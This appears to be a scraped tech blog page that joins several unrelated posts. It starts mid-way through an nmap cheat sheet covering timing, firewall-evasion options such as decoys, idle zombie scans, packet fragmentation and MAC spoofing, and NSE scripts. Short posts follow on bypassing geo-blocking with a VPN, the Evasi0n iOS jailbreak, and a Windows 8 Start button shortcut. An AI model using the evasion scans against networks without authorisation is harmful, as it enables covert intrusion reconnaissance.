Troubleshooting version scans —-> nmap -sV –version-trace [target]

Perform a RPC scan —-> nmap -sR [target]

Timing Options

Timing Templates —-> nmap -T [0-5] [target]

Set the packet TTL —-> nmap –ttl [time] [target]

Minimum of parallel connections —-> nmap –min-parallelism [number] [target]

Maximum of parallel connection —-> nmap –max-parallelism [number] [target]

Minimum host group size —–> nmap –min-hostgroup [number] [targets]

Maximum host group size —-> nmap –max-hostgroup [number] [targets]

Maximum RTT timeout —–> nmap –initial-rtt-timeout [time] [target]

Initial RTT timeout —-> nmap –max-rtt-timeout [TTL] [target]

Maximum retries —-> nmap –max-retries [number] [target]

Host timeout —-> nmap –host-timeout [time] [target]

Minimum Scan delay —-> nmap –scan-delay [time] [target]

Maximum scan delay —-> nmap –max-scan-delay [time] [target]

Minimum packet rate —-> nmap –min-rate [number] [target]

Maximum packet rate —-> nmap –max-rate [number] [target]

Defeat reset rate limits —-> nmap –defeat-rst-ratelimit [target]

Firewall Evasion Techniques

Fragment packets —-> nmap -f [target]

Specify a specific MTU —-> nmap –mtu [MTU] [target]

Use a decoy —-> nmap -D RND: [number] [target]

Idle zombie scan —> nmap -sI [zombie] [target]

Manually specify a source port —-> nmap –source-port [port] [target]

Append random data —-> nmap –data-length [size] [target]

Randomize target scan order —-> nmap –randomize-hosts [target]

Spoof MAC Address —-> nmap –spoof-mac [MAC|0|vendor] [target]

Send bad checksums —-> nmap –badsum [target]

Output Options

Save output to a text file —-> nmap -oN [scan.txt] [target]

Save output to a xml file —> nmap -oX [scan.xml] [target]

Grepable output —-> nmap -oG [scan.txt] [target]

Output all supported file types —-> nmap -oA [path/filename] [target]

Periodically display statistics —-> nmap –stats-every [time] [target]

133t output —-> nmap -oS [scan.txt] [target]

Troubleshooting and debugging

Help —> nmap -h

Display Nmap version —-> nmap -V

Verbose output —-> nmap -v [target]

Debugging —-> nmap -d [target]

Display port state reason —-> nmap –reason [target]

Only display open ports —-> nmap –open [target]

Trace packets —> nmap –packet-trace [target]

Display host networking —> nmap –iflist

Specify a network interface —> nmap -e [interface] [target]

Nmap Scripting Engine

Execute individual scripts —> nmap –script [script.nse] [target]

Execute multiple scripts —-> nmap –script [expression] [target]

Script categories —-> all, auth, default, discovery, external, intrusive, malware, safe, vuln

Execute scripts by category —-> nmap –script [category] [target]

Execute multiple scripts categories —-> nmap –script [category1,category2, etc]

Troubleshoot scripts —-> nmap –script [script] –script-trace [target]

Update the script database —-> nmap –script-updatedb


Comparison using Ndiff —-> ndiff [scan1.xml] [scan2.xml]

Ndiff verbose mode —-> ndiff -v [scan1.xml] [scan2.xml]

XML output mode —-> ndiff –xml [scan1.xm] [scan2.xml]

For more excellent FREE security training visit >




How to watch BBC iPlayer from countries other than the UK

Although this tutorial seems easy to do (and it is) it is a little know upgrade to a product that I have used for years. As I reside in the UK I can freely view BBC iPlayer for free, however to view the contents on pages like (which you have to be in the US to view) and bypass my ISPs ban on I use an application called Hotspot Shield. Just follow the next few set steps to get full and away you go.

Go to and download the free version

After the install you will see a little red shield. Double click the shield and you will see a popup window as below, just click the country you would like your IP to become and off you go you can now watch all the goodies that are not broadcast in your own country

hotspot sheild

tv crime2

It has been a long time since the news for an all-round jailbreak tool started to float around the community. Yes, you can now jailbreak your iDevice running iOS 6.1.

This jailbreak tool supports almost all iGadgets and allows an untethered jailbreak for any device that you can think of except for Apple TV 3.

The incredible and the most talented jailbreak gurus joined hands not too long ago to bring the most reliable jailbreak ever. The gurus namely Pimskeks, Planetbeing, Pod2g and MuscleNerd formed a team and called themselves the Evad3rs specifically for this project. The idea was to exploit Apple’s post-A5 chip devices in order to develop the jailbreak for iOS 6. It seems like they were very successful in doing so and have accomplished their goal with flying colours. The Evad3rs being to you Evasi0n to rock your iDevice and Apple Co.’s world!

The following devices are supported by this tool:

  • iPhone 5
  • iPhone 4S
  • iPhone 4evasi0n-iOS-66.1
  • iPhone 3GS
  • iPad 4
  • iPad 3
  • iPad 2
  • iPad mini
  • iPod touch 4
  • iPod touch 5

iOS firmware versions supported by Evasi0n:

  • iOS 6.0
  • iOS 6.0.1
  • iOS 6.0.2
  • iOS 6.1

We recommend our readers not to update their devices over the air and to instead use download links provided below or through iTunes. You can now enjoy iOS 6′s features with the added perks of jailbreak tweaks.

Download iOS 6.1 for your iDevice.
Download Evasi0n for Windows.
Download Evasi0n for Mac.
Download Evasi0n for Linux

christmas TV

So essentially what we are going to do is create a shortcut to the Apps screen, you’ll use the Shell command. In order to launch a Shell command from a shortcut, you need to use the explorer.exe command. As such, the shortcut to launch the Apps screen consists of the following command line. (Take note that there are three colons between the word shell and the left brace. Also keep in mind that there is only one space in the whole command line between the .exe file extension and the word shell.)


explorer.exe shell:::{2559a1f8-21d7-11d4-bdaf-00c04f60b9f0}

To create the shortcut, just open the Documents folder, right-click on the background, and choose the New | Shortcut command. When you see the first screen in the Create Shortcut wizard, type the shortcut in the text box, as shown in Pic 1. Then, click Next.


As you type the shortcut, beware of typos

When you see the second screen in the Create Shortcut wizard, type a short name for your shortcut. As you can see in Pic 2, I named my example shortcut Apps. To complete the wizard, just click Finish.


One this is done you will see a shortcut appear just right click on it and select the Properties command, as shown in Pic 3


When you see the Properties dialog box, click the Change Icon button to open the Change Icon dialog box, as shown in Pic 4.

By default the Change Icon dialog box displays the icons from the explorer.exe file. As you can see, none of the available icons are very exciting. However, if you click the Browse button, you can search for other files that contain icons.


By default, the Change Icon dialog box displays the icons from the explorer.exe.

I first found a nice Windows flag in the imageres.dll file (C:\Windows\System32.dll) that I considered using, but then I remembered the green Orb icon from Windows Media Center was very nice and found it in the ehshell.exe file (C:\Windows\ehome). Both are shown in pic 5


While the Windows flag icon is a good choice, I like the Windows Media Center icon better.

I ended up choosing the Windows Media Center icon because it resembles the Start button but since it is green, it is different from the blue Windows 7 icon. Of course, you can use any icon that you prefer. As soon as you choose your icon, right click on it and then select the Pin to Taskbar command, as shown in pic 6


Select the Pin to Taskbar command.

Once your custom Start button appears on the taskbar, drag it all the way to the left side of the taskbar, as shown in pic 7.  You can use the green Orb icon and positioning it at the end of the taskbar it really makes the desktop look like Windows 7, however I personally prefer the simple Windows flag icon.


Drag the pinned icon to the left side of the taskbar.

Now when you click your custom Start button, the Apps screen will appear, as shown in pic 8. You can then click once to dismiss the Search panel, and then select the icon of the application that you want to launch.


I will be posting more how to’s for Windows 8 in  the coming moths so stay tuned.